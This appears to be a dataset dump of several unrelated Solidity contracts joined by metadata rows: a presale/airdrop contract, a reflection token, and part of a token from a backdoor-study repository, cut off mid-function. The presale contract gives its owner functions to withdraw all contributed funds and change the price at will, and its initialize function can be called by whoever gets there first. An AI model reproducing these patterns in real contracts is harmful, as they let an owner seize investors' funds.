// Only perform a search for the offset if the index >= (firstDeletionIndex - 1)
// Otherwise, the offset is always zero.
if iszero(lt(index, sub(sload(sparseSlot), 0x01))) {
// Subtract one from the high bound to set it to the final *index* rather than
// the length of the deleted elements subarray.
high := sub(high, 0x01)
// TODO: Optimize inner loop
for {
// Calculate the midpoint of [low, high] with a floor div
let mid := shr(0x01, add(low, high))
// Get the canonical index of the midpoint in the deleted elements subarray.
let midIndex := sload(add(sparseSlot, mid))
// Get the sparse offset of the midpoint in the deleted elements subarray.
_offset := add(mid, 0x01)
} iszero(gt(low, high)) {
// Calculate the midpoint of [low, high] with a floor div
mid := shr(0x01, add(low, high))
// Get the canonical index of the midpoint in the deleted elements subarray.
midIndex := sload(add(sparseSlot, mid))
// Get the sparse offset of the midpoint in the deleted elements subarray.
_offset := add(mid, 0x01)
} {
// Calculate the canonical index
let canonicalIndex := add(index, _offset)
// If the canonical index is less than the index at the midpoint, set the high bound to mid - 1
if lt(canonicalIndex, midIndex) {
high := sub(mid, 0x01)
continue
}
// If the canonical index is greater than the index at the midpoint, set the low bound to mid + 1
if gt(canonicalIndex, midIndex) {
low := add(mid, 0x01)
continue
}
// If the indexes are equal, we've found our offset!
break
}
}
}
}
}
/// @notice Computes the canonical storage slot for an `index` within an array at `slot`.
/// @dev Will not revert if the index is out of bounds of the current array size.
/// @param slot The storage slot of the array.
/// @param index The desired index within the array.
/// @return _slot The canonical storage slot for the given `index`.
function computeIndexSlot(bytes32 slot, uint256 index) internal pure returns (bytes32 _slot) {
assembly {
// Store the array's length slot in scratch space
mstore(0x00, slot)
// Compute the slot for the index within the array
_slot := add(keccak256(0x00, 0x20), index)
}
}
/// @notice Computes the storage slot for the sparse offset of an array at `slot`.
/// @param slot The storage slot of the array.
/// @return _slot The storage slot for the sparse offset of the array.
function computeSparseSlot(bytes32 slot) internal pure returns (bytes32 _slot) {
assembly {
// Store the array's length slot in scratch space @ 0x00
mstore(0x00, slot)
// Store the sparse magic bytes in scratch space @ 0x20
mstore(0x20, 0x535041525345)
// Compute the slot for the sparse offset of the array
_slot := keccak256(0x00, 0x40)
}
}
}
| 281,827 | 362 |
acb4568213c5b31c9d1a6324a9843dc17061c5992b82bed8c2c8ac2a4665b9aa
| 13,859 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/94/94d777853998D8B197858EeA7d6091C85a8F5029_Presale.sol
| 3,642 | 13,669 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
interface IToken {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
}
contract Presale {
struct AIRDROP {
address user;
uint256 claimable;
uint256 claimed;
}
address public targetToken;
address public contributeCoin;
uint256 private constant RESOLUTION_CV_RATIO = 10 ** 9;
uint256 public salePrice;
mapping (address => uint256) public targetTokenRequested;
mapping (address => uint256) public targetTokenClaimed;
mapping (address => uint256) public coinContributed;
uint256 public totalTargetTokenRequested;
uint256 public totalCoinContributed;
uint256 public minPerWallet;
uint256 public maxPerWallet;
uint256 public totalTargetCap;
uint256 public startTimestamp;
uint256 public endTimestamp;
mapping(address => bool) public isWhitelisted;
uint256 public saleType;
address public owner;
bool private initialized;
mapping(address => AIRDROP) airdropContext;
uint256 public totalAirdropClaimable;
uint256 public claimableStart;
uint256 public claimableEnd;
uint256 public totalAirdropClaimed;
uint256 public constant MAX_ADDRESSES = 625143;
uint256 public airdropClaimedCount;
uint256 public airdropClaimedPercentage;
event TransferOwnership(address _oldOwner, address _newOwner);
event Requested(address user, uint256 deposit, uint256 coin);
event Gifted(address user, uint256 amount);
event Refunded(address user, uint256 amount, uint256 coin);
event Whitelist(address[] users, bool set);
event CanClaim(address indexed recipient, uint256 amount);
event HasClaimed(address indexed recipient, uint256 amount);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
modifier isWhitelistMode() {
require(saleType == 0, "Sale type is not set to WHITELIST");
_;
}
modifier isPublicMode() {
require(saleType == 1, "Sale type is not set to PUBLIC_SALE");
_;
}
modifier whitelisted() {
require(checkWhitelisted(msg.sender), "Not whitelisted account");
_;
}
modifier underWay() {
require(block.timestamp >= startTimestamp, "Presale not started");
require(block.timestamp <= endTimestamp, "Presale ended");
_;
}
modifier whenExpired() {
require(block.timestamp > endTimestamp, "Presale not ended");
_;
}
function initialize(address _targetToken, address _coinToken) external {
require (!initialized, "Already initialized");
initialized = true;
owner = msg.sender;
emit TransferOwnership(address(0), owner);
targetToken = _targetToken;
contributeCoin = _coinToken;
salePrice = RESOLUTION_CV_RATIO / 1000; // 1 $ZKASH = 0.001 $ETH
minPerWallet = 10 * (10 ** 18); // 10 $ZKASH per wallet at minimum
maxPerWallet = 5000 * (10 ** 18); // 5000 $ZKASH per wallet at maximum
totalTargetCap = 2_000_000 * (10 ** 18); // 2m $ZKASH at maximum
saleType = 0; // 0: whitelist, 1: public sale
}
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0), "Zero address");
emit TransferOwnership(owner, _newOwner);
owner = _newOwner;
}
function renounceOwnership() external onlyOwner {
emit TransferOwnership(owner, address(0));
owner = address(0);
}
function launchPresale(uint256 _secAfter, uint256 _secDuration) external onlyOwner {
startTimestamp = block.timestamp + _secAfter;
endTimestamp = block.timestamp + _secAfter + _secDuration;
}
function expandPresale(uint256 _secDuration) external onlyOwner underWay {
endTimestamp = block.timestamp + _secDuration;
}
function updateVTokenPrice(uint256 _newSalePriceInResolution9) external onlyOwner {
require(salePrice != _newSalePriceInResolution9, "Already set");
salePrice = _newSalePriceInResolution9;
}
function updateMinMaxTokenPerWallet(uint256 _minAmount, uint256 _maxAmount) external onlyOwner {
minPerWallet = _minAmount;
maxPerWallet = _maxAmount;
}
function setTotalCap(uint256 _totalAmount) external onlyOwner {
totalTargetCap = _totalAmount;
}
function updateSaleType(uint256 _saleType) external onlyOwner {
require(saleType != _saleType, "Already set");
require(saleType == 0 || saleType == 1, "Unknown sale type");
saleType = _saleType;
}
function setWhitelisted(address[] calldata users, bool set) external onlyOwner {
uint256 i;
for (i = 0; i < users.length; i ++) {
if (isWhitelisted[users[i]] != set) {
isWhitelisted[users[i]] = set;
}
}
emit Whitelist(users, set);
}
function updateTokens(address _targetToken, address _coinToken) external onlyOwner {
require(totalTargetTokenRequested == 0, "Unable to update token addresses");
targetToken = _targetToken;
contributeCoin = _coinToken;
}
function convertC2V(uint256 _cAmount) internal view returns (uint256) {
uint256 cDecimal = 18;
if (contributeCoin != address(0)) {
cDecimal = IToken(contributeCoin).decimals();
}
uint256 vDecimal = IToken(targetToken).decimals();
return _cAmount * RESOLUTION_CV_RATIO * (10 ** vDecimal) / (salePrice * (10 ** cDecimal));
}
function convertV2C(uint256 _vAmount) internal view returns (uint256) {
uint256 cDecimal = 18;
if (contributeCoin != address(0)) {
cDecimal = IToken(contributeCoin).decimals();
}
uint256 vDecimal = IToken(targetToken).decimals();
return _vAmount * salePrice * (10 ** cDecimal) / (RESOLUTION_CV_RATIO * (10 ** vDecimal));
}
function sellVToken(address _to, uint256 _coinAmount) internal returns (uint256, uint256) {
uint256 cReceived;
if (contributeCoin == address(0)) {
cReceived = msg.value;
} else {
address feeRx = address(this);
uint256 _oldCBalance = IToken(contributeCoin).balanceOf(feeRx);
IToken(contributeCoin).transferFrom(_to, feeRx, _coinAmount);
uint256 _newCBalance = IToken(contributeCoin).balanceOf(feeRx);
cReceived = _newCBalance - _oldCBalance;
}
uint256 targetAmount = convertC2V(cReceived);
require(targetTokenRequested[_to] + targetAmount <= maxPerWallet, "Too much requested");
require(targetTokenRequested[_to] + targetAmount >= minPerWallet, "Too small requested");
targetTokenRequested[_to] += targetAmount;
coinContributed[_to] += cReceived;
totalTargetTokenRequested += targetAmount;
totalCoinContributed += cReceived;
return (targetAmount, cReceived);
}
function giftVToken(address _to, uint256 _vAmount) internal returns (uint256) {
uint256 targetAmount = _vAmount;
totalTargetTokenRequested += targetAmount;
targetTokenRequested[_to] += targetAmount;
return targetAmount;
}
function refundVToken(address to) internal returns (uint256, uint256) {
uint256 targetAmount = targetTokenRequested[to];
uint256 coinAmount = coinContributed[to];
totalTargetTokenRequested -= targetTokenRequested[to];
targetTokenRequested[to] = 0;
coinContributed[to] = 0;
if (coinAmount > 0) {
payCoin(to, coinAmount);
}
return (targetAmount, coinAmount);
}
function sellWhitelist(uint256 _coinAmount) external payable
isWhitelistMode whitelisted() underWay
{
(uint256 target, uint256 coin) = sellVToken(msg.sender, _coinAmount);
emit Requested(msg.sender, target, coin);
}
function sellPublic(uint256 _coinAmount) external payable
isPublicMode underWay
{
(uint256 target, uint256 coin) = sellVToken(msg.sender, _coinAmount);
emit Requested(msg.sender, target, coin);
}
function gift(address _to, uint256 _vAmount) external
onlyOwner underWay
{
uint256 amount = giftVToken(_to, _vAmount);
emit Gifted(_to, amount);
}
function forceRefund(address _user) external payable
onlyOwner
{
(uint256 target, uint256 coin) = refundVToken(_user);
emit Refunded(_user, target, coin);
}
function checkWhitelisted(address _user) public view returns (bool) {
return isWhitelisted[_user];
}
function recoverCoin(address _to, uint256 _amount) external payable onlyOwner {
if (_amount == 0) {
if (contributeCoin == address(0)) {
_amount = address(this).balance;
} else {
_amount = IToken(contributeCoin).balanceOf(address(this));
}
}
payCoin(_to, _amount);
}
function payCoin(address _to, uint256 _amount) internal {
if (contributeCoin == address(0)) {
(bool success,) = payable(_to).call{value: _amount}("");
require(success, "Failed to recover");
} else {
IToken(contributeCoin).transfer(_to, _amount);
}
}
function claim(uint256 _amount) external payable whenExpired {
address user = msg.sender;
uint256 claimableAmount = getClaimableAmount(user);
require(_amount <= claimableAmount, "Claiming too much");
// if (totalTargetCap < totalTargetTokenRequested) { // overflown
// uint256 _targetTokenAmount = _amount * totalTargetCap / totalTargetTokenRequested;
// IToken(targetToken).transfer(user, _targetTokenAmount);
// payCoin(user, _totalCoinOverflownAmount * _amount / totalTargetTokenRequested);
// } else {
IToken(targetToken).transfer(user, _amount);
// }
targetTokenClaimed[user] += _amount;
require(targetTokenClaimed[user] <= targetTokenRequested[user], "Claimed too much");
}
function getClaimableAmount(address user) public view returns (uint256) {
uint256 requestedAmount = targetTokenRequested[user];
uint256 claimedAmount = targetTokenClaimed[user];
uint256 ret;
if (block.timestamp < endTimestamp) {
ret = 0;
// } else if (block.timestamp < endTimestamp + (30 days)) {
// ret = ((requestedAmount * 80) / 100) - claimedAmount;
// } else if (block.timestamp < endTimestamp + (60 days)) {
// ret = ((requestedAmount * 90) / 100) - claimedAmount;
} else {
ret = requestedAmount - claimedAmount;
}
return ret;
}
/// @notice Allows owner to set a list of recipients to receive tokens
/// @dev This may need to be called many times to set the full list of recipients
function setAirdropAmount(uint256 amount)
external
onlyOwner
{
totalAirdropClaimable = amount;
}
/// @notice Allows a recipient to claim their tokens
/// @dev Can only be called during the claim period
function airdropClaim() external {
require(block.timestamp >= claimableStart, "Airdrop: claim not started");
require(block.timestamp < claimableEnd, "Airdrop: claim ended");
AIRDROP storage ad = airdropContext[msg.sender];
require(ad.claimed == 0, "Airdrop: already claimed");
uint256 amount = getAirdropClaimableAmount(msg.sender);
require(amount > 0, "Airdrop: nothing to claim");
ad.user = msg.sender;
ad.claimable = amount;
ad.claimed = amount;
totalAirdropClaimed += amount;
airdropClaimedCount ++;
if (airdropClaimedCount > 0) {
airdropClaimedPercentage = (airdropClaimedCount * 100) / MAX_ADDRESSES;
}
// we don't use safeTransfer since impl is assumed to be OZ
IToken(targetToken).transfer(msg.sender, amount);
emit HasClaimed(msg.sender, amount);
}
function getAirdropClaimableAmount(address user) public view returns (uint256) {
if (airdropClaimedCount >= MAX_ADDRESSES) {
return 0;
}
uint256 supplyPerAddress = totalAirdropClaimable * 1_000_000_000_000 / 4942353924769 * 20 / MAX_ADDRESSES;
uint256 curClaimedCount = airdropClaimedCount + 1;
uint256 claimedPercent = curClaimedCount * 100e6 / MAX_ADDRESSES;
uint256 curPercent = 5e6;
while (curPercent <= claimedPercent) {
supplyPerAddress = (supplyPerAddress * 80) / 100;
curPercent += 5e6;
}
return supplyPerAddress;
}
function getAirdropClaimedAmount(address user) public view returns (uint256) {
AIRDROP storage ad = airdropContext[user];
return (ad.user != user)? 0: ad.claimed;
}
function launchAirdrop(uint256 _secAfter, uint256 _secDuration) external onlyOwner {
claimableStart = block.timestamp + _secAfter;
claimableEnd = block.timestamp + _secAfter + _secDuration;
}
receive() external payable {}
}
| 27,660 | 363 |
237e1a5b13294ae7cd3617254766629c02242b795b0fee52a63f7a2bb38e61d0
| 15,889 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xd63517b74Db1b751eeFd633b3c477b92Cd312ab7/contract.sol
| 4,139 | 15,394 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FireCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'FireCoin';
string private _symbol = 'BURN';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.mul(3).div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 255,250 | 364 |
4685a544a53353324e6917bdf77e981260bde3c78f1cf12a2f5c7e3cf4115cd4
| 34,473 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x3054748ef31cc936e4f057c89078a4a8574fa5e9.sol
| 4,158 | 16,890 |
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
}
contract Delegable is Ownable {
address private _delegator;
event DelegateAppointed(address indexed previousDelegator, address indexed newDelegator);
constructor () internal {
_delegator = address(0);
}
function delegator() public view returns (address) {
return _delegator;
}
modifier onlyDelegator() {
require(isDelegator());
_;
}
modifier ownerOrDelegator() {
require(isOwner() || isDelegator());
_;
}
function isDelegator() public view returns (bool) {
return msg.sender == _delegator;
}
function appointDelegator(address delegator) public onlyOwner returns (bool) {
require(delegator != address(0));
require(delegator != owner());
return _appointDelegator(delegator);
}
function dissmissDelegator() public onlyOwner returns (bool) {
require(_delegator != address(0));
return _appointDelegator(address(0));
}
function _appointDelegator(address delegator) private returns (bool) {
require(_delegator != delegator);
emit DelegateAppointed(_delegator, delegator);
_delegator = delegator;
return true;
}
}
contract ERC20Like is IERC20, Delegable {
using SafeMath for uint256;
uint256 internal _totalSupply; // // Total Supply
bool isLock = false; // // Contract Lock Flag
struct TokenContainer {
uint256 chargeAmount; // // charge amount
uint256 unlockAmount; // // unlock amount
uint256 balance; // // available balance
mapping (address => uint256) allowed; // Spender
}
mapping (address => TokenContainer) internal _tokenContainers;
event ChangeCirculation(uint256 circulationAmount);
event Charge(address indexed holder, uint256 chargeAmount, uint256 unlockAmount);
event IncreaseUnlockAmount(address indexed holder, uint256 unlockAmount);
event DecreaseUnlockAmount(address indexed holder, uint256 unlockAmount);
event Exchange(address indexed holder, address indexed exchangeHolder, uint256 amount);
event Withdraw(address indexed holder, uint256 amount);
//
// Total token supply
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
//
// Call-up available balance
function balanceOf(address holder) public view returns (uint256) {
return _tokenContainers[holder].balance;
}
// Spender
// Call-up Spender's remaining balance
function allowance(address holder, address spender) public view returns (uint256) {
return _tokenContainers[holder].allowed[spender];
}
//
// Transfer token
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
// Spender
// Appoint a Spender and set an amount
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
// Spender
// Transfer token via Spender
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _tokenContainers[from].allowed[msg.sender].sub(value));
return true;
}
// Spender
// Increase a Spender amount alloted by the Owner/Delegator
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(!isLock);
uint256 value = _tokenContainers[msg.sender].allowed[spender].add(addedValue);
if (msg.sender == owner()) { // Sender
require(_tokenContainers[msg.sender].chargeAmount >= _tokenContainers[msg.sender].unlockAmount.add(addedValue));
_tokenContainers[msg.sender].unlockAmount = _tokenContainers[msg.sender].unlockAmount.add(addedValue);
_tokenContainers[msg.sender].balance = _tokenContainers[msg.sender].balance.add(addedValue);
}
_approve(msg.sender, spender, value);
return true;
}
// Spender
// Decrease a Spender amount alloted by the Owner/Delegator
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(!isLock);
// 0
if (_tokenContainers[msg.sender].allowed[spender] < subtractedValue) {
subtractedValue = _tokenContainers[msg.sender].allowed[spender];
}
uint256 value = _tokenContainers[msg.sender].allowed[spender].sub(subtractedValue);
if (msg.sender == owner()) { // Sender // // Adjust the total circulation amount if the Sender equals the contract owner
_tokenContainers[msg.sender].unlockAmount = _tokenContainers[msg.sender].unlockAmount.sub(subtractedValue);
_tokenContainers[msg.sender].balance = _tokenContainers[msg.sender].balance.sub(subtractedValue);
}
_approve(msg.sender, spender, value);
return true;
}
//
// An internal execution function for troken transfer
function _transfer(address from, address to, uint256 value) private {
require(!isLock);
// 3.1. Known vulnerabilities of ERC-20 token
// // Exceptions were added to not allow deposits to be made in the current contract .
require(to != address(this));
require(to != address(0));
